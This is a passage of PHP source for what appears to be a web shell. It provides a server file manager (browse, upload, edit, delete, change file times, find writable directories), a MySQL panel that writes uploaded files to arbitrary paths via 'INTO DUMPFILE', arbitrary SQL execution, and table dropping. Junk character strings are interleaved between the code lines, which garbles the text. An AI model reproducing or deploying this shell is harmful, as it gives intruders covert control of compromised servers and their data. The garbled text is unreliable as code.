     
471.                 $('godir').view_writable.value=1;
     ( k( k% M$ J6 o& i
472.         }
     
473.         $('godir').dir.value=dir;
     7 B. _3 w# m6 r4 h8 s' r
474.         $('godir').submit();
     ' n4 [3 m7 E+ x. n( e9 N) V9 W( f
475. }
     % x+ q7 H9 q  W1 p: _" a% @4 c
476. </script>
     
477.   <?php
     
478.         tbhead();
     ' A1 J6 n) N- t4 A4 n' B
479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
     0 C& z5 x, v3 ]1 N, P
480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
     , r7 Q) K  M( C  W5 l" {( e6 y
481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
     8 m& K' S7 U1 k. e; t- u* S' g
482.         if ($view_writable) {
     
483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
     
484.         } else {
     8 P8 i& v9 i% S% a8 `
485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
     
486.         }
     
487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
     
488.         if (IS_WIN && IS_COM) {
     
489.                 $obj = new COM('scripting.filesystemobject');
       x7 r/ K! l5 P9 A* ?! d
490.                 if ($obj && is_object($obj)) {
     
491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
     
492.                         foreach($obj->Drives as $drive) {
       Y6 l; [* i8 l" |3 g4 r
493.                                 if ($drive->DriveType == 2) {
     5 ^6 |5 j/ U/ [
494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
     
495. Free:'.sizecount($drive->FreeSpace).'
     
496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     
497.                                 } else {
     
498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     9 R  f5 C/ R2 c8 f7 Y2 i
499.                                 }
     ) P3 J& x2 c3 `" C% ~! `" b) Y+ B$ i
500.                         }
     $ i% f% Z% l6 v3 N) o1 I2 H
501.                 }
     
502.         }
     6 e2 C4 t! U6 m9 Y9 I6 D
503. 
     
504.         p('</td></tr></form>');
     4 O9 [/ s1 K6 |& Y1 f  D: ]
505. 
       M; Q3 u) a" d) @" j9 {( W
506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
     
507. 
     + H1 w$ I; y! ]8 C/ E
508.         //查看所有可写文件和目录
     + Y/ [) K; j2 P$ G" t5 i* `4 q* G
509.         $dirdata=array();
       ?% |' G  Y  E+ J1 F
510.         $filedata=array();
     
511. 
     
512.         if ($view_writable) {
     
513.                 $dirdata = GetList($nowpath);
     3 B0 }9 o& x8 D# ?- A
514.         } else {
     
515.                 // 目录列表
     
516.                 $dirs=@opendir($dir);
     1 E5 i& u5 ^$ Y* m
517.                 while ($file=@readdir($dirs)) {
     
518.                         $filepath=$nowpath.$file;
     
519.                         if(@is_dir($filepath)){
     
520.                                 $dirdb['filename']=$file;
     7 y; K" \- k* b- ^5 V7 l! D
521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     ( _9 o# g! l" C+ y0 q
522.                                 $dirdb['dirchmod']=getChmod($filepath);
     
523.                                 $dirdb['dirperm']=getPerms($filepath);
     / ~4 H! W, z6 Y; t) N7 f
524.                                 $dirdb['fileowner']=getUser($filepath);
     $ Z- @* ]: R" `5 H
525.                                 $dirdb['dirlink']=$nowpath;
     6 E; D9 g4 i/ B+ d  i5 m- v7 z" h
526.                                 $dirdb['server_link']=$filepath;
     - j' I. j! N7 F. M
527.                                 $dirdb['client_link']=ue($filepath);
     . J; {0 t  I" Q/ Q
528.                                 $dirdata[]=$dirdb;
     
529.                         } else {               
     
530.                                 $filedb['filename']=$file;
     $ {1 H$ R! l% H. A5 r# W) [
531.                                 $filedb['size']=sizecount(@filesize($filepath));
     0 A: R- e5 t7 L* a
532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     
533.                                 $filedb['filechmod']=getChmod($filepath);
     
534.                                 $filedb['fileperm']=getPerms($filepath);
     
535.                                 $filedb['fileowner']=getUser($filepath);
     
536.                                 $filedb['dirlink']=$nowpath;
     4 r! A/ o# Y$ G/ ]# ]; U
537.                                 $filedb['server_link']=$filepath;
     
538.                                 $filedb['client_link']=ue($filepath);
     
539.                                 $filedata[]=$filedb;
     
540.                         }
     4 i& D5 ~8 @0 g7 B+ y" T) l+ H
541.                 }// while
     $ x* D8 O0 c8 \. U$ B7 C4 d9 H
542.                 unset($dirdb);
     : Q8 k& `7 |; q2 G/ R; H) l& S2 D
543.                 unset($filedb);
     : T0 e9 G+ r; b" ]
544.                 @closedir($dirs);
     , I3 P9 a: g% S* W: Z
545.         }
     5 |/ `& v$ [" V' o- M
546.         @sort($dirdata);
     
547.         @sort($filedata);
     0 \& B# U+ r* U) B4 c% [
548.         $dir_i = '0';
     
549.         foreach($dirdata as $key => $dirdb){
     
550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
     ' }; M3 Q( g( |( W* ]
551.                         $thisbg = bg();
     ! `0 o5 z8 c6 z
552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
     
554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
     
555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
     ! l$ j% F& N7 `; T
556.                         p('<td nowrap>--</td>');
     
557.                         p('<td nowrap>');
     $ `1 j1 k$ W/ C" z
558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
     5 S+ s& Y) k- G) C
559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
     7 P7 C5 y) P+ k; S) b
560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
     " z# A) @( U" N3 Z3 O+ y
561.                         p('</tr>');
     
562.                         $dir_i++;
     
563.                 } else {
     $ m2 f' b" o( K5 j; X
564.                         if($dirdb['filename']=='..') {
     
565.                                 p('<tr class='.bg().'>');
     
566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
     
567.                                 p('</tr>');
     . L" m; P0 P& [' Q: N$ k: \! s
568.                         }
     1 g3 b. {$ D( Q% f
569.                 }
     
570.         }
     0 V+ c0 x) ~6 E1 a
571. 
     4 F) D1 o2 b% R( s9 _
572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
     
573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
     
574.         makehide('action','file');
     
575.         makehide('thefile');
     
576.         makehide('doing');
     # i( ], y' Y5 w1 C" K1 _& P
577.         makehide('dir',$nowpath);
     0 o- J1 z: c; i( b( F) ~, q
578.         $file_i = '0';
     0 z  t8 r& P* p* R/ I, U( C/ o: Z
579.         foreach($filedata as $key => $filedb){
     
580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
     ' P( ?4 J5 @# U: F/ g
581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
     
582.                         $thisbg = bg();
     $ e$ `9 [" V" X% W3 j
583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     # }6 K  r1 X" A2 S" R) D6 N
584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
     4 n/ O; {  p& x& T2 v) a/ M
585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
     
586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
     8 _$ |: Z+ W0 _; ]6 @$ a5 H  h3 g/ j
587.                         p('<td nowrap>'.$filedb['size'].'</td>');
     . X* q( b# i; e2 a9 {, ?" d5 F6 O
588.                         p('<td nowrap>');
     
589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
     : x/ J9 \  \. G$ U" X3 G  U+ ]
590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
     + E: o& C7 q* b& ~+ z/ `' _/ Q  [9 @" l
591.                         p('<td nowrap>');
     . X# z# B4 R1 ^6 Y
592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
     1 Z1 R2 l( H' c9 a0 _0 c
593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
     ) u2 T' s3 b3 H0 u, f1 M0 p8 a
594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
     2 {& V; V. ?6 z. g; J
595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
     $ |/ w% B. G5 O0 n  A. i/ ]
596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
     
597.                         p('</td></tr>');
     
598.                         $file_i++;
     
599.                 }
     ; Y& h4 D! G; b1 q) D1 u: c
600.         }
     ( y9 r& j+ D9 {/ K! u& w
601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
     ' @2 @# _: ^: z3 ?6 U; I! E* J
602.         p('</form></table>');
     $ e, W" p; P7 y, R5 L3 ?/ T0 l6 w
603. }// end dir
     9 t3 ]2 \1 \, K
604. 
     3 @9 Z' |& V- W; M0 ~/ u( d
605. elseif ($action == 'sqlfile') {
     
606.         if($doing=="mysqlupload"){
     ) Z) _  j. j$ R+ s" k% a. x" v
607.                 $file = $_FILES['uploadfile'];
     
608.                 $filename = $file['tmp_name'];
     
609.                 if (file_exists($savepath)) {
     ) N! }. o& N2 D& ~
610.                         m('The goal file has already existed');
     
611.                 } else {
     
612.                         if(!$filename) {
     
613.                                 m('Please choose a file');
     + f5 O' r/ L: Q. q' c& P! i: ]
614.                         } else {
     
615.                                 $fp=@fopen($filename,'r');
     
616.                                 $contents=@fread($fp, filesize($filename));
     
617.                                 @fclose($fp);
     
618.                                 $contents = bin2hex($contents);
     6 j; F) z( q  g' g  w4 p7 [- N+ x
619.                                 if(!$upname) $upname = $file['name'];
     
620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     6 w4 `6 X& Y4 F) G2 o6 p# E
621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
     
622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
     
623.                         }
     
624.                 }
       k1 @. _+ Y( N6 H3 [' b* K+ X4 [; m
625.         }
     * \+ J* w% W$ X8 D& P0 o
626. ?>
     
627. <script type="text/javascript">
     
628. function mysqlfile(doing){
     / a6 e- g2 m# O; i
629.         if(!doing) return;
     8 u! Y9 G% T0 m
630.         $('doing').value=doing;
     
631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
     
632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
     , N7 ]1 |/ M+ l& f$ Z" b
633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
     
634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
     
635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
     ( a2 k2 I" N; z9 [4 _( f
636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
     2 |/ r. K8 H; N
637.         $('mysqlfile').submit();
     2 @# V' U! ]! p  a+ L
638. }
     6 \5 S9 m; p5 Q9 h6 d1 a
639. </script>
     # ?4 \% p+ H' m
640. <?php
     ( K' x$ Y+ R) B6 t! i5 F9 ?: U& W" k
641.         !$dbhost && $dbhost = 'localhost';
     1 j$ f  L9 G# y9 e
642.         !$dbuser && $dbuser = 'root';
     
643.         !$dbport && $dbport = '3306';
     
644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     & X/ r0 o. \9 |, A; f
645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
     . Y* K" X1 b# \9 D
646.         makehide('action','sqlfile');
     
647.         p('<p>');
     
648.         p('DBHost:');
     ! g, V  O4 |, }/ V+ X0 a( }( Y
649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     ; L6 j; ?9 i- y" W0 p1 K
650.         p(':');
     9 E  g* V8 T& T' a1 _; s7 X
651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     3 A0 p  L, Y# j- d7 g& \0 M2 s
652.         p('DBUser:');
     
653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     + s4 |$ e5 _% T
654.         p('DBPass:');
     
655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     / C* y0 d# m3 g
656.         p('DBName:');
     
657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
     
658.         p('DBCharset:');
     
659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     
660.         p('</p>');
     - x8 }. v. }0 u0 H+ J& l4 i% [
661.         formfoot();
     
662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
     % b7 q4 Q6 Y4 [$ r! F  j- b: t
663.         p('<h2>Upload file</h2>');
     . j) Y  M7 X3 E  j4 e
664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
     $ K  k8 {% E8 y5 c( @
665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
     
666.         p('<h2>Download file</h2>');
     
667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
     
668.         makehide('dbhost');
     $ J8 R9 R( ^0 z( p& L) d
669.         makehide('dbport');
     
670.         makehide('dbuser');
     
671.         makehide('dbpass');
     8 m$ \  ^* X0 w
672.         makehide('dbname');
     
673.         makehide('charset');
     - u( `1 W6 H1 O% _
674.         makehide('doing');
     
675.         makehide('action','sqlfile');
     
676.         p('</form>');
     
677. }
     
678. 
     - S- A9 h% A0 p( N( [
679. elseif ($action == 'sqladmin') {
     ! Y. y* @# V! }) S
680.         !$dbhost && $dbhost = 'localhost';
     ; I8 H" ^9 E% D# T! D/ Z
681.         !$dbuser && $dbuser = 'root';
     
682.         !$dbport && $dbport = '3306';
     " a8 K( H( r3 ]2 c, r$ Z; O/ z
683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
     ' ~1 A8 ]! |. E7 O# d7 G8 W6 J
684.         if(isset($dbhost)){
     
685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
     
686.         }
     ' n  a: G& p! R, n4 T5 X# m
687.         if(isset($dbuser)) {
     . O1 W, R4 ?7 _, Z4 a9 k
688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
     
689.         }
     
690.         if(isset($dbpass)) {
     
691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
     
692.         }
     
693.         if(isset($dbport)) {
     9 c% m& i% _! _
694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
     
695.         }
     
696.         if(isset($dbname)) {
     9 Z8 M* z  \$ d) B0 @; ]
697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
     : J  W( ~! I6 ]9 e4 u7 j- l2 k
698.         }
     ( Q( o9 V3 M( ^! f$ p) }
699.         if(isset($charset)) {
     
700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
     6 q9 q. l- ^' V8 |2 s5 q
701.         }
     
702. 
     - v5 W$ W- I2 C) H& S" p7 D
703.         if ($doing == 'backupmysql' && $saveasfile) {
     : F6 X- B( |; O% |4 m( y. I
704.                 if (!$table) {
     
705.                         m('Please choose the table');
     
706.                 } else {
     
707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
708.                         $table = array_flip($table);
     
709.                         $fp = @fopen($path,'w');
     
710.                         if ($fp) {
     
711.                                 $result = q('SHOW tables');
     , I' g) l, q. C% q+ E5 U8 A
712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
     ; Y/ [4 B+ K  P# X
713.                                 $mysqldata = '';
     1 G6 f* l) Y% _$ y
714.                                 while ($currow = mysql_fetch_array($result)) {
     
715.                                         if (isset($table[$currow[0]])) {
     + a8 n; ]: m, d# N8 D- g
716.                                                 sqldumptable($currow[0], $fp);
     
717.                                         }
     " ^" _. z, I4 V2 K2 I1 }; l7 Z
718.                                 }
     1 C& U( y; p) j
719.                                 fclose($fp);
     
720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
     % H4 w( s3 O& w# Q. C' |
721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
     
722.                                 mysql_close();
     , T& U$ \) G/ V& j& G- U. T$ m
723.                         } else {
     * u, B( T2 E' j  \1 P/ m. e
724.                                 m('Backup failed');
     
725.                         }
     ' p# ]+ ]7 {4 }3 f; K: z+ |
726.                 }
     3 K7 B6 W0 x! ^4 \" _5 w" q
727.         }
     
728.         if ($insert && $insertsql) {
     
729.                 $keystr = $valstr = $tmp = '';
     & \4 y  M7 p* ]
730.                 foreach($insertsql as $key => $val) {
     
731.                         if ($val) {
     
732.                                 $keystr .= $tmp.$key;
     . Y) l# h7 Q8 I' `- t
733.                                 $valstr .= $tmp."'".addslashes($val)."'";
     
734.                                 $tmp = ',';
     ( `9 N- _8 r. S0 o8 {6 L$ e5 |. [
735.                         }
     ) `; j1 V& R% ?: b5 a* P5 h! Z: k
736.                 }
     4 D6 R% o8 S, B* l- m0 a7 ]
737.                 if ($keystr && $valstr) {
     
738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     # @2 r. ^" A/ D5 E
739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
     
740.                 }
     " F! x' D3 ]4 d8 H$ ^$ X
741.         }
     
742.         if ($update && $insertsql && $base64) {
     
743.                 $valstr = $tmp = '';
     
744.                 foreach($insertsql as $key => $val) {
     " e: G. ^1 n4 w, ~: z
745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
     $ s1 P7 n  |; t
746.                         $tmp = ',';
     
747.                 }
     1 @% Y; y( F6 @! |9 x
748.                 if ($valstr) {
     
749.                         $where = base64_decode($base64);
     6 l! q( F. g: T. u3 H) k
750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
       N* l8 ], z# {" d
751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
     
752.                 }
     
753.         }
     
754.         if ($doing == 'del' && $base64) {
     : C0 w- E. R. c
755.                 $where = base64_decode($base64);
     " p, J# N& }, ^2 k  d  a
756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
     
757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     + `  y6 ]) G& h* b& [# x
758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
     2 m0 ?) J! O& i, D. W
759.         }
     
760. 
     
761.         if ($tablename && $doing == 'drop') {
     0 p% t. |/ H1 A- G& @, s2 q8 `5 ?0 u
762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
763.                 if (q("DROP TABLE $tablename")) {
     - `$ G+ }, \) B$ j+ W
764.                         m('Drop table of success');
     
765.                         $tablename = '';
     
766.                 } else {
     2 h4 @+ [: K& d' L/ j+ D( O
767.                         m(mysql_error());
     # F: O/ j6 G2 F) ^
768.                 }
     
769.         }
     
770. 
     & h7 H4 u; E; V
771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     ' x5 d& y0 r% K- G' E
772. 
     2 w0 e4 G/ Q# H' {
773.         formhead(array('title'=>'MYSQL Manager'));
     ! p. X- Y1 i1 H$ F+ v+ q6 u, w
774.         makehide('action','sqladmin');
     
775.         p('<p>');
     
776.         p('DBHost:');
     
777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     % {+ [- P# w2 j5 X* B3 n0 ~
778.         p(':');
     
779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     ! H2 ?* T) n% P- s/ @
780.         p('DBUser:');
     
781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     - W/ e  @% t3 S; U* E+ j
782.         p('DBPass:');
     9 ?7 a: h% T9 p  z! f: e
783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     * A8 O( C2 o+ g. Q! i
784.         p('DBCharset:');
     ) j( C' V2 A+ Q. w- }- N
785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     
786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
     7 T& m: S) B2 _3 U/ T7 r3 I1 j# Q
787.         p('</p>');
     " S/ X2 O7 ]2 m# h- C' @
788.         formfoot();
     / O: g7 |5 v1 d1 J4 c9 y
789. ?>
     
790. <script type="text/javascript">
     2 u8 \- M' r$ U& Y) B4 S$ Z
791. function editrecord(action, base64, tablename){
     
792.         if (action == 'del') {               
     
793.                 if (!confirm('Is or isn\'t deletion record?')) return;
     
794.         }
     9 P7 {8 q* B" ]3 K9 l! [
795.         $('recordlist').doing.value=action;
     
796.         $('recordlist').base64.value=base64;
     / u* s; Q1 }# `8 p) v
797.         $('recordlist').tablename.value=tablename;
     
798.         $('recordlist').submit();
     
799. }
     
800. function moddbname(dbname) {
     
801.         if(!dbname) return;
     
802.         $('setdbname').dbname.value=dbname;
     
803.         $('setdbname').submit();
     
804. }
     
805. function settable(tablename,doing,page) {
     
806.         if(!tablename) return;
     
807.         if (doing) {
     
808.                 $('settable').doing.value=doing;
     
809.         }
     
810.         if (page) {
     
811.                 $('settable').page.value=page;
     
812.         }
     
813.         $('settable').tablename.value=tablename;
     * P/ ]1 J+ `( x( f- S$ J( @
814.         $('settable').submit();
     3 A7 D* B9 K# D, c+ p! |8 x
815. }
     
816. </script>
     
817. <?php
     * z/ K0 I. k/ b+ R- C
818.         //操作记录
     - v! ?( O( }$ b) R' O
819.         formhead(array('name'=>'recordlist'));
     
820.         makehide('doing');
     / T5 W3 H2 L$ C) m0 d
821.         makehide('action','sqladmin');
     : d! W7 j4 y; H* k% _5 ^/ T1 P8 v
822.         makehide('base64');
     ( X% @8 E2 M7 L6 L; g
823.         makehide('tablename');
     * h( k2 e1 a/ c6 r4 i2 {, D' q
824.         p($dbform);
     ' K2 W1 x1 L  t% R+ H3 O
825.         formfoot();
     - ^1 v2 c4 d0 p% M* d
826.         //选定数据库
     
827.         formhead(array('name'=>'setdbname'));
     
828.         makehide('action','sqladmin');
     3 i$ Y, L) ]+ L; n2 K7 ]/ \# I: I
829.         p($dbform);
     
830.         if (!$dbname) {
     
831.                 makehide('dbname');
     
832.         }
     
833.         formfoot();
     
834.         //选定表
     
835.         formhead(array('name'=>'settable'));
     % t# o. |& f' H* `$ r9 Z* ?8 \
836.         makehide('action','sqladmin');
     
837.         p($dbform);
     5 x( k0 a. W0 v7 p$ ^) F
838.         makehide('tablename');
     2 J& _7 p) a* I' {. [* k. S
839.         makehide('page',$page);
     
840.         makehide('doing');
     5 `) N7 ?% G5 l" Y- a
841.         formfoot();
     / J' F" z! T- Q) s$ P" k& P
842.         $cachetables = array();       
     ) |) K* k9 z# n' }8 r2 t
843.         $pagenum = 30;
     9 j9 \, }: m, s( a. p" m
844.         $page = intval($page);
     
845.         if($page) {
     ' R1 C% A' w; ^7 F) G
846.                 $start_limit = ($page - 1) * $pagenum;
     
847.         } else {
     
848.                 $start_limit = 0;
     6 _7 m. n( r# o+ g8 l* q2 O
849.                 $page = 1;
     
850.         }
     
851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
     " z4 v4 o+ ~) f9 E, J$ |6 h7 F( k. g7 M
852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
853.                 //获取数据库信息
     
854.                 $mysqlver = mysql_get_server_info();
     : L$ q7 j' s% P! G
855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
     
856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
     
857.                 //获取数据库
     
858.                 $query = q("SHOW DATABASES");
     + |9 S- P3 k2 F2 K
859.                 $dbs = array();
     ' D0 P% x/ [2 B
860.                 $dbs[] = '-- Select a database --';
     
861.                 while($db = mysql_fetch_array($query)) {
     
862.                         $dbs[$db['Database']] = $db['Database'];
     6 d5 ^4 O6 n8 ]5 s7 ?- T
863.                 }
     
864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
     
865.                 $tabledb = array();
     & i3 I$ a0 t+ q1 O; i
866.                 if ($dbname) {
     9 g- m+ |9 b1 k8 v+ c) j3 i' X/ M
867.                         p('<p>');
     
868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
     
869.                         if ($tablename) {
     
870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
     
871.                         }
     5 g: _  K8 r5 ]# b  H
872.                         p('</p>');
     ' ~3 s* e  N  P" n5 v8 {
873.                         mysql_select_db($dbname);
     
874.                         $getnumsql = '';
     
875.                         $runquery = 0;
     
876.                         if ($sql_query) {
     
877.                                 $runquery = 1;
     9 ~" p3 O3 @" j
878.                         }
     ) H4 A/ `/ b* @* n/ _2 L, C* ?
879.                         $allowedit = 0;
     
880.                         if ($tablename && !$sql_query) {
     
881.                                 $sql_query = "SELECT * FROM $tablename";
     - {2 A3 i! z3 U5 K2 E1 q! i0 B
882.                                 $getnumsql = $sql_query;
     
883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
     5 Y% {8 ?4 [* ]; d+ x$ X! P( H
884.                                 $allowedit = 1;
     
885.                         }
     / C3 B6 v& E, w- q6 i: Q
886.                         p('<form action="'.$self.'" method="POST">');
     3 U9 }  K% ^7 l: Y
887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
     
888.                         makehide('tablename', $tablename);
       o1 R' K3 B, `( k4 A- U) c2 [) g
889.                         makehide('action','sqladmin');
     
890.                         p($dbform);
     
891.                         p('</form>');
     3 E+ E& M) `+ D! k1 p4 ~
892.                         if ($tablename || ($runquery && $sql_query)) {
     3 @9 ~$ R3 s. {1 ^4 g
893.                                 if ($doing == 'structure') {
       _" b" b% P& ~2 F; F7 g
894.                                         $result = q("SHOW COLUMNS FROM $tablename");
     ) n2 A' \! p. Y+ w, d; L) m
895.                                         $rowdb = array();
     - O9 u2 B' {: }+ G' O
896.                                         while($row = mysql_fetch_array($result)) {
     
897.                                                 $rowdb[] = $row;
     7 `+ r  {; R# d! I
898.                                         }
     
899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
900.                                         p('<tr class="head">');
     / W$ A! R, ~( a- n
901.                                         p('<td>Field</td>');
     
902.                                         p('<td>Type</td>');
     , {" a1 ?6 G! L6 W
903.                                         p('<td>Null</td>');
     
904.                                         p('<td>Key</td>');
